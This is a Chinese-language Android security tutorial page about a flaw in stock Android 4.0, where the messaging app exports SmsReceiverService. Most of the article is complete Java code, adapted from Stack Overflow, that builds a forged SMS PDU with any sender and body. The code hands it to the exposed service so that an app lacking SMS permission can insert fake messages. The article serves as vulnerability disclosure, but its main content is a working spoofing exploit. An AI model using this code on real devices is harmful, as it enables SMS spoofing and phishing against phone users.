Android教程網
  1. 首頁
  2. Android 技術
  3. Android 手機
  4. Android 系統教程
  5. Android 游戲
 Android教程網 >> Android系統教程 >> Android開發教程 >> android安全問題(八)偽造短信(利用原生android4.0漏洞)

android安全問題(八)偽造短信(利用原生android4.0漏洞)

編輯:Android開發教程

android4.0發布已經是很久很久很久很久以前的事情了,這個漏洞早就報了出來,之所以現在才寫這篇文 章,就是覺得,該升級的基本已經都升級了,該打補丁的基本都已經打了補丁,所以現在差不多是時候了。

原生android4.0系統中,Mms.apk的manifest有這樣一段

<service android:name=".transaction.SmsReceiverService"
                 android:exported="true" />

android:exported="true",意味著 SmsReceiverService這個Service暴露給了大家,也讓病毒有機可乘

在stackoverflow上面,有人早就 給出了偽造短信的方案,我們在這裡就直接使用人家的代碼好了

http://stackoverflow.com/questions/12335642/create-pdu-for-android-that-works-with- smsmessage-createfrompdu-gsm-3gpp

其中UCS-2處理是我新加上去的

private static void createFakeSms(Context context, String sender,  
        String body) {  
    byte[] pdu = null;  
    byte[] scBytes = PhoneNumberUtils  
            .networkPortionToCalledPartyBCD("0000000000");  
    byte[] senderBytes = PhoneNumberUtils  
            .networkPortionToCalledPartyBCD(sender);  
    int lsmcs = scBytes.length;  
    // 時間處理,包括年月日時分秒以及時區和夏令時  
    byte[] dateBytes = new byte[7];  
    Calendar calendar = new GregorianCalendar();  
    dateBytes[0] = SmsUtil  
            .reverseByte((byte) (calendar.get(Calendar.YEAR)));  
    dateBytes[1] = SmsUtil  
            .reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));  
    dateBytes[2] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.DAY_OF_MONTH)));  
    dateBytes[3] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.HOUR_OF_DAY)));  
    dateBytes[4] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.MINUTE)));  
    dateBytes[5] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.SECOND)));  
    dateBytes[6] = SmsUtil  
            .reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar  
                    .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));  
    try {  
        ByteArrayOutputStream bo = new ByteArrayOutputStream();  
        bo.write(lsmcs);// 短信服務中心長度  
        bo.write(scBytes);// 短信服務中心號碼  
        bo.write(0x04);  
        bo.write((byte) sender.length());// 發送方號碼長度  
        bo.write(senderBytes);// 發送方號碼  
        bo.write(0x00);// 協議標示,00為普通GSM,點對點方式  
        try {  
            String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";  
            Class<?> cReflectedNFCExtras = Class  
                    .forName(sReflectedClassName);  
            Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(  
                    "stringToGsm7BitPacked", new Class[] { String.class });  
            stringToGsm7BitPacked.setAccessible(true);  
            byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,  
                    body);  
      
            bo.write(0x00); // encoding: 0 for default 7bit  
            bo.write(dateBytes);  
            bo.write(bodybytes);  
        } catch (Exception e) {  
            Log.i(TAG, "sender:" + sender + "\nbody:" + body, e);  
            // 下面是UCS-2編碼的處理,中文短信就需要用此種方式  
            bo.write(0x08); // encoding: 8 for UCS-2  
            bo.write(dateBytes);  
            bo.write(SmsUtil.encodeUCS2(body, null));// 其中encodeUCS2是從系統中復制過來的,並不是我寫的  
            // 源碼具體位置在  
            // frameworks/base/telephony/java/com/android/internal/telephony/gsm/SmsMessage.java 

 
        }  
      
        pdu = bo.toByteArray();  
    } catch (IOException e) {  
        Log.e(TAG, "sender:" + sender + "\nbody:" + body, e);  
    }  
    // 上面的部分都是組織短信數據,下面是將數據傳遞給SmsReceiverService,讓它來幫我們發送。雖然我們的程序沒有發送短信的權限,但是人家有啊!  
    Intent intent = new Intent();  
    intent.setClassName("com.android.mms",  
            "com.android.mms.transaction.SmsReceiverService");  
    intent.setAction("android.provider.Telephony.SMS_RECEIVED");  
    intent.putExtra("pdus", new Object[] { pdu });  
    intent.putExtra("format", "3gpp");  
    context.startService(intent);  
}  
      
public static byte reverseByte(byte b) {  
    return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);  
}

  1. 上一頁:
  2. 下一頁:
熱門文章
閱讀排行版
Copyright © Android教程網 All Rights Reserved